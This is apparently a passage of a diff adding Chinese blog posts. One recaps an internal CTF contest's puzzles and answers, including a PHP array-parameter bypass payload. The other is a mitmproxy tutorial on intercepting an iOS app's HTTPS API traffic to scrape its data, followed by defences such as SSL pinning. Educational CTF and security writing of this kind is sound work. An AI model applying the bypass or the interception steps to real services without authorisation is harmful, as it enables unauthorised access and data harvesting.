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 +``` + +從開頭可以知道這是一張圖片的base64壓縮圖,我們把以上編碼直接貼到瀏覽器網址列就能得到解答所在網址,進入網址後即可通關! + + +![](/assets/729d7b6817a4/1*6u6ZvakGMLy6KXmJYaPKNw.png) + + +**4\.衝出封鎖線** + + +![](/assets/729d7b6817a4/1*E_O7Tn8D02fGIoJ4emWhmw.png) + + +**題目說明:** 這題一打開就是顯示這題的PHP程式,要想辦法用GET參數繞過判斷執行else裡面的setPassedCookie\( \);方法。 + +解題:本題是一個蠻常用但卻很少人知道的PHP漏洞,詳細介紹如下: + + +![[ctf中常见的PHP漏洞小结](https://xz.aliyun.com/t/3085){:target="_blank"}](/assets/729d7b6817a4/1*iITV3WJTJHez1xRpul6uTA.png) + +[ctf中常见的PHP漏洞小结](https://xz.aliyun.com/t/3085){:target="_blank"} + +題目有稍微改過,這題的答案是:?m\.id\[ \]=admin + +**5\.滲透的考驗、6\.滲透的考驗2** + +這兩題都是入門的基礎XSS題目這邊就不做贅述。 + +這題由於解答我放在前端,這邊使用了一個提供不可逆加密的JS網站: [https://www\.sojson\.com/jsobfuscator\.html](https://www.sojson.com/jsobfuscator.html){:target="_blank"} + +\(雖然我不確定是否為真?反正有辦法破解的話也就當他通過吧!\) + +**7\.月光寶盒** + +這題是從解謎APP拉出來的題目,這邊也不做展示。 +### 總結 + +比賽系統大約花一週時間建置,題目大約花了三個月慢慢慢湊齊(要有靈感);比賽也已圓滿落幕,得到的反饋都還不錯~「有趣好玩」;這也是我的初心,希望大家以有趣為出發點去探索、腦力激盪;所以不管是題目名稱(都很電影)、題目方向,都不會有太深入工程、計算的東西,這樣就太死不有趣了! + +另外,這邊附上題目回答率,當做難易度參考: + + +![](/assets/729d7b6817a4/1*-ViR_TfrzhANOFymo1eVoA.png) + + +當初在出題的時候最怕的就是題目太簡單大家很快就解完或題目太難大家都卡關,兩種狀況都很尷尬。 + +以上題目實際比賽結果(比賽時間:90分鐘)符合我們的期望,剛剛好!不會太難獲太簡單,第一名的組別解了9題,即使是最後一名的組別也解了7題;非常接近,但因為有時間分數、購買提示的因素,所以最後還是分得出高下! + + +> 比較意外的是通往魔法學院的大門…居然沒人解出來QQ + + + + + +以上就是這次舉辦工程CTF大賽的總整理 + + +![Addcn 2019 CTF](/assets/729d7b6817a4/1*M8l9fhtOUNtU0NgTHfvGrA.jpeg) + +Addcn 2019 CTF +### 延伸閱讀 +- [揭露一個幾年前發現的巧妙網站漏洞](../142244e5f07a/) +- [APP有用HTTPS傳輸,但資料還是被偷了](../46410aaada00/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/%E5%A6%82%E4%BD%95%E6%89%93%E9%80%A0%E4%B8%80%E5%A0%B4%E6%9C%89%E8%B6%A3%E7%9A%84%E5%B7%A5%E7%A8%8Bctf%E7%AB%B6%E8%B3%BD-729d7b6817a4){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2019-09-20-46410aaada00.md b/_posts/zmediumtomarkdown/2019-09-20-46410aaada00.md new file mode 100644 index 000000000..ac5ae0559 --- /dev/null +++ b/_posts/zmediumtomarkdown/2019-09-20-46410aaada00.md @@ -0,0 +1,355 @@ +--- +title: "APP有用HTTPS傳輸,但資料還是被偷了。" +author: "ZhgChgLi" +date: 2019-09-20T10:01:01.345+0000 +last_modified_at: 2024-04-13T07:56:08.893+0000 +categories: "ZRealm Dev." +tags: ["mitmproxy","man-in-the-middle","ios","ios-app-development","hacking"] +description: "iOS+MacOS 使用 mitmproxy 進行中間人攻擊(Man-in-the-middle attack) 嗅探API傳輸資料" +image: + path: /assets/46410aaada00/1*VTtl6EUMOTV4oRNUjRQHNg.png +render_with_liquid: false +--- + +### APP有用HTTPS傳輸,但資料還是被偷了。 + +iOS\+MacOS 使用 mitmproxy 進行中間人攻擊\(Man\-in\-the\-middle attack\) 嗅探API傳輸資料教學及如何防範? + +### 前言 + +前陣子剛在公司辦完一場內部的 [CTF競賽](../729d7b6817a4/) ,在發想題目時回想起大學時候還在做後端\(PHP\)時經手的專案,一個集點的APP,大概就是有個任務列表,然後觸發條件完成就Call API獲得點數;老闆認為Call API有經過HTTPS加密傳輸資料就很安全了 — 直到我向他展示中間人攻擊,直接嗅探傳輸資料,偽造API呼叫獲得點數…\. + +再加上最近幾年大數據崛起,網路爬蟲滿天飛;爬蟲攻防戰日漸白熱化, [爬取與防爬之間花招百出](https://coolcao.com/2018/06/09/tips-of-anti-spider-in-fe/){:target="_blank"} ,只能說道高一尺魔高一丈啊! + +爬蟲的另一條下手對象就是APP的API,如果沒有任何防範幾乎等於門戶大開;不但好操作而且格式也乾淨,更不容易被識別阻擋;所以如果網頁端已經費盡全力阻擋,資料還是不段被爬,不妨檢查一下APP的API有無漏洞。 + +因為這個議題我不知道該如何出在 CTF比賽中 ,所以就單拉出一篇文章作為紀錄 ;本篇只是粗淺給個概念 — [HTTPS能透過憑證替換進行傳輸內容解密](http://www.aqee.net/post/man-in-the-middle-attack.html){:target="_blank"} 、如何加強安全性防止;實際網路理論不是我的強項也都還給老師了,如果已經有這方面概念的朋友就不用花時間看這篇,或拉到底看APP該如果保護! +### 實際操作 + +環境: MacOS \+ iOS + + +> _Android 使用者可以直接下載 [Packet Capture](https://play.google.com/store/apps/details?id=app.greyshirts.sslcapture&hl=en){:target="_blank"} \(免費\)、iOS 用戶可使用 [Surge 4](https://apps.apple.com/us/app/surge-3/id1442620678){:target="_blank"} 這套軟體\( **付費\)** 解鎖中間人攻擊功能、MacOS也可以使用另一套付費軟體Charles。_ + + +> _本文章主要講解iOS使用 **免費** 的 mitmproxy 進行操作,如果您有上述的環境就不用這麼麻煩啦,直接APP打開在手機上掛載VPN替換掉憑證就能進行中間人攻擊!\(ㄧ樣請直接下拉到底看該如何保護!\)_ + + + + + +**\[2021/02/25 更新\]:** Mac 有新的免費圖形化介面程式 \( [Proxyman](https://proxyman.io/){:target="_blank"} \) 可以用,可搭配 [參考此篇文章](../70a1409b149a/) 的第一部分。 +#### 安裝 [mitmproxy](https://mitmproxy.org){:target="_blank"} + +**直接使用 brew 安裝** : +```bash +brew install mitmproxy +``` + +**安裝完成\!** + +_p\.s 如果你出現 brew: command not found 請先安裝 [brew](https://brew.sh/index_zh-tw){:target="_blank"} 套件管理工具_ : +```bash +/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" +``` +#### mitmproxy 使用 + +安裝完成後,在 Terminal 輸入以下指令啟用: +```bash +mitmproxy +``` + + +![啟動成功](/assets/46410aaada00/1*VTtl6EUMOTV4oRNUjRQHNg.png) + +啟動成功 +#### 讓手機跟Mac在同個區域網路內&取得Mac的IP位址 + +方法\(1\) Mac 連接 WiFi、手機也使用同個 WiFi +**Mac的IP位址 =** 「系統偏好設定」\->「網路」\->「Wi\-Fi」\->「IP Address」 + +方法\(2\) Mac 使用有線網路,開啟網路分享;手機連上該熱點網路: + + +![「系統偏好設定」\-> 「共享」\->選擇「乙太網路」\->「Wi\-Fi」打勾\-> 「Internet 共享」啟用](/assets/46410aaada00/1*R9fthpHlrWzTh4R3fEwO5Q.gif) + +「系統偏好設定」\-> 「共享」\->選擇「乙太網路」\->「Wi\-Fi」打勾\-> 「Internet 共享」啟用 + +**Mac的IP位址 = 192\.168\.2\.1** (️️注意⚠️ 不是乙太網路網路的IP,是Mac用做網路分享基地台的IP\) +#### 手機網路設置WiFi — Proxy伺服器資訊 + + +![「設定」\-> 「WiFi」\-> 「HTTP 代理伺服器」\-> 「手動」\-> 「伺服器輸入 **Mac的IP位址** 」\-> 「連接埠輸入 **8080** 」\-> 「儲存」](/assets/46410aaada00/1*ziIFrGQaMr2kYrQHwLYNJg.jpeg) + +「設定」\-> 「WiFi」\-> 「HTTP 代理伺服器」\-> 「手動」\-> 「伺服器輸入 **Mac的IP位址** 」\-> 「連接埠輸入 **8080** 」\-> 「儲存」 + + +> _這時網頁打不開、出現憑證錯誤是正常的;我們繼續往下做…_ + + + + +#### 安裝 mitmproxy 自訂 https 憑證 + +如同上述所說,中間人攻擊的實現方式就是在通訊之中使用自己的憑證做抽換加解密資料;所以我們也要在手機上安裝這個自訂的憑證。 + +**1\.用手機safari打開 [http://mitm\.it](http://mitm.it){:target="_blank"}** + + +![出現左邊\->Proxy設定✅/ 出現右邊代表 Proxy設定有誤🚫](/assets/46410aaada00/1*BuvCYx9WRzG0ECO3H_BS0A.jpeg) + +出現左邊\->Proxy設定✅/ 出現右邊代表 Proxy設定有誤🚫 + + +![「Apple」\->「安裝描述檔」\->「安裝」](/assets/46410aaada00/1*qKDHxi9HxUP41oDJahBfBA.jpeg) + +「Apple」\->「安裝描述檔」\->「安裝」 + + +> _⚠️到這裡還沒結束,我們還要去關於裡啟用描述檔_ + + + + + + +![「一般」\->「關於」\->「憑證信任設定」\->「mitmproxy」啟用](/assets/46410aaada00/1*mOijblpQepazFPIwob4r8Q.jpeg) + +「一般」\->「關於」\->「憑證信任設定」\->「mitmproxy」啟用 + +**完成!這時我們再回去瀏覽器就能正常瀏覽網頁了。** +#### 回到Mac 上操作 mitmproxy + + +![可以在mitmproxy Terminal上看到剛手機的資料傳輸紀錄](/assets/46410aaada00/1*kiEPaTm5bhnFLBfQngQPgA.png) + +可以在mitmproxy Terminal上看到剛手機的資料傳輸紀錄 + + +![找到想嗅探的紀錄進入查看Request\(送出哪些參數\)/Response\(回傳了什麼內容\)](/assets/46410aaada00/1*5I6l9cO3LeXfcwGLpWGKPQ.gif) + +找到想嗅探的紀錄進入查看Request\(送出哪些參數\)/Response\(回傳了什麼內容\) +#### 常用操作按鍵集: +```plaintext +「 ? 」= 查看按鍵操作集文檔 +「 k 」/「⬆」= 上 +「 j 」/「⬇」= 下 +「 h 」/「⬅」= 左 +「 l 」/「➡️」️= 右 +「 space 」= 下一頁 +「 enter 」= 進入查看詳情 +「 q 」= 返回上一頁/退出 +「 b 」= 匯出response body到指定path文字檔 +「 f 」= 篩選紀錄條件 +「 z 」= 清除所有紀錄 +「 e 」= 編輯Request(cookie、headers、params...) +「 r 」= 重新發送Request +``` +#### 不習慣CLI? 沒關係,可以改用 Web GUI \! + +除了 mitmproxy 啟用方式之外,我們可以改下: +```bash +mitmweb +``` + +就能使用新的 Web GUI 進行操作觀察 + + +![mitmweb](/assets/46410aaada00/1*Stbf8gUk8iXwNkozOKyOjA.png) + +mitmweb +#### 重頭戲,嗅探APP資料: + +上述環境都建置完成也熟悉之後,就可以進入我們的重頭戲;嗅探APP API的資料傳輸內容! + + +> _這邊以某房屋APP作為範例,無惡意純學術交流使用\!_ + + + + + + +> _我們想知道物件列表的API是如何請求和回傳什麼內容\!_ + + + + + +![首先先按「z」清除所有紀錄\(避免搞亂\)](/assets/46410aaada00/1*HKppSomeMK5U3Z0kbaRvkQ.png) + +首先先按「z」清除所有紀錄\(避免搞亂\) + + +![開啟目標 APP](/assets/46410aaada00/1*mpNLXzUwb7-jiikrHkoTcA.png) + +開啟目標 APP + +開啟目標 APP 嘗試「下拉重整」或觸發「載入下一頁」的動作。 + + +> **_🛑若你的目標APP打不開、連不上;那抱歉了,代表APP有做防範無法用這招嗅探,請直接下拉到如何保護的章節🛑_** + + + + + + +![mitmproxy 紀錄](/assets/46410aaada00/1*KOkJugn95bcUCPl-dZEaRA.png) + +mitmproxy 紀錄 + +回到 mitmproxy 查看紀錄,發揮偵探的精神猜測哪個API請求紀錄是我們想要的並進入查看詳細! + + +![Request](/assets/46410aaada00/1*n6mUgej-2_U8PRUbQo_j1g.png) + +Request + +Request 部分可以看到 請求傳遞了哪些參數 + +搭配「e」編輯與「r」重新發送,並觀察 Response 就可以猜到每個參數的用途囉! + + +![Response](/assets/46410aaada00/1*zxdLiXMP-KapoEYou_TlZg.png) + +Response + +Response 也能直接獲得原始回傳內容。 + + +> **_🛑若Response內容是一堆編碼;那也抱歉了,代表APP可能有自己再做一次加解密無法用這招嗅探,請直接下拉到如何保護的章節🛑_** + + + + + +很難閱讀?中文亂碼?沒關係,這邊可以用「b」匯出成文字檔到桌面,再將內容複製到 [Json Editor Online](https://jsoneditoronline.org/){:target="_blank"} 解析即可\! + + +![](/assets/46410aaada00/1*7qOTLAIQHH6V782OnvFVFQ.png) + + + +> **_\*或是直接使用 mitmweb 使用 web gui 直接瀏覽、操作_** + + + + + + +![mitmweb](/assets/46410aaada00/1*ujOlDBdjp8tECeAwRzWRPw.png) + +mitmweb + +經過嗅探、觀察、過濾、測試之後就能知道APP API的運作方式,藉此就能利用,用爬蟲爬取資料。 + + +> _\*蒐集完所需資訊記得關閉mitmproxy、手機網路Proxy代理伺服器改回自動,才能正常使用網路。_ + + + + +### APP 該如何自保? + +若掛上 mitmproxy 之後發現APP不能用、回傳內容是編碼,代表APP有做保護。 + +**做法\(1\):** + +大略是將憑證資訊放一份到APP中,若當前HTTPS使用的憑證與APP中的資訊不符則拒絕訪問,詳細可以 [看此](https://www.anquanke.com/post/id/147090){:target="_blank"} 或找 [SSL Pinning](https://medium.com/@dzungnguyen.hcm/ios-ssl-pinning-bffd2ee9efc){:target="_blank"} 相關資源。缺點可能就是要注意憑證有效期的問題吧! + + +![[https://medium\.com/@dzungnguyen\.hcm/ios\-ssl\-pinning\-bffd2ee9efc](https://medium.com/@dzungnguyen.hcm/ios-ssl-pinning-bffd2ee9efc){:target="_blank"}](/assets/46410aaada00/1*31rODDIlYPidTP3L8W_C7A.jpeg) + +[https://medium\.com/@dzungnguyen\.hcm/ios\-ssl\-pinning\-bffd2ee9efc](https://medium.com/@dzungnguyen.hcm/ios-ssl-pinning-bffd2ee9efc){:target="_blank"} + +**作法\(2\):** + +APP端在資料要傳輸前先進行編碼加密,API後端收到後解密取得原始請求內容;API回傳內容一樣先進行編碼加密,APP端收到資料後解密取得回傳內容;步驟很煩瑣也耗效能,但的確是個方法;據我所知好像某數字銀行就是用這招進行保護\! +#### 不過…\. + +作法1,依然有破解方法: [如何在iOS 12上绕过SSL Pinning](https://www.anquanke.com/post/id/179514){:target="_blank"} + +作法2,透過反編譯工程也能獲得編碼加密用的密鑰 + +**⚠️沒有100%的安全⚠️** + +`或是乾脆挖個洞讓它爬,邊搜集各種證據,再用法務解決(?` +#### 還是那句話: + + +> 「 NEVER TRUST THE CLIENT」 + + + +### mitmproxy 的更多玩法: + +**1\.使用mitmdump** + +除 `mitmproxy` 、 `mitmweb` , `mitmdump` 可直接將所有紀錄匯出到文字檔中 +```bash +mitmdump -w /log.txt +``` + +並且能使用 **玩法\(2\)** python程式,設定、篩選流量: +```bash +mitmdump -ns examples/filter.py -r /log.txt -w /result.txt +``` + +**2\.搭配python程式做請求參數設定、訪問控制、轉址:** +```python +from mitmproxy import http + +def request(flow: http.HTTPFlow) -> None: + # pretty_host takes the "Host" header of the request into account, + # which is useful in transparent mode where we usually only have the IP + # otherwise. + + # 請求參數設定 Example: + flow.request.headers['User-Agent'] = 'MitmProxy' + + if flow.request.pretty_host == "123.com.tw": + flow.request.host = "456.com.tw" + # 將123.com.tw的訪問全導到456.com.tw +``` + +轉址範例 + +啟用mitmproxy時加上參數: +``` +mitmproxy -s /redirect.py +or +mitmweb -s /redirect.py +or +mitmdump -s /redirect.py +``` +### 補個坑 + +在使用 mitmproxy 觀察使用 HTTP 1\.1 及 Accept\-Ranges: bytes、 Content\-Range 長連接片段持續拿取資源的請求時,會等到 response 全部回來才會顯示,而不是顯示分段、使用持久連接接續下載! + +[踩坑在這](../ee47f8f1e2d2/) 。 +### 延伸閱讀 +- [以簽到獎勵 APP 為例,打造每日自動簽到腳本](../70a1409b149a/) +- [如何打造一場有趣的工程CTF競賽](../729d7b6817a4/) +- [揭露一個幾年前發現的巧妙網站漏洞](../142244e5f07a/) +- [iOS 15 / MacOS Monterey Safari 將能隱藏真實 IP](https://medium.com/zrealm-ios-dev/ios-15-macos-monterey-safari-%E5%B0%87%E8%83%BD%E9%9A%B1%E8%97%8F%E7%9C%9F%E5%AF%A6-ip-755a8b6acc35){:target="_blank"} + +### 後記 + +因為我沒有網域權限無法取得ssl憑證資訊,所以也無法實作;看程式碼感覺並不困難,雖然沒有100%安全的方法,但多一道防護至少能更安全一些,再繼續攻需要花費很多時間研究,應該能勸退90%的爬蟲了! + +這篇文章可能有點含金量太低,medium荒廢了一陣子\(跑去玩單眼\),主要為本週六日\(2019/09/21–2019/09/22\)的 [iPlayground 2019](https://iplayground.io/2019/){:target="_blank"} 提前熱熱寫文手感;期待今年的議程🤩,希望回來後能吸收產出更多精品文章! + + +> **_\[2019/02/22 更新文章\] [iPlayground 2019 是怎麼樣的體驗?](../4079036c85c2/)_** + + + + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/app%E6%9C%89%E7%94%A8https%E5%82%B3%E8%BC%B8-%E4%BD%86%E8%B3%87%E6%96%99%E9%82%84%E6%98%AF%E8%A2%AB%E5%81%B7%E4%BA%86-46410aaada00){:target="_blank"} converted from Medium by 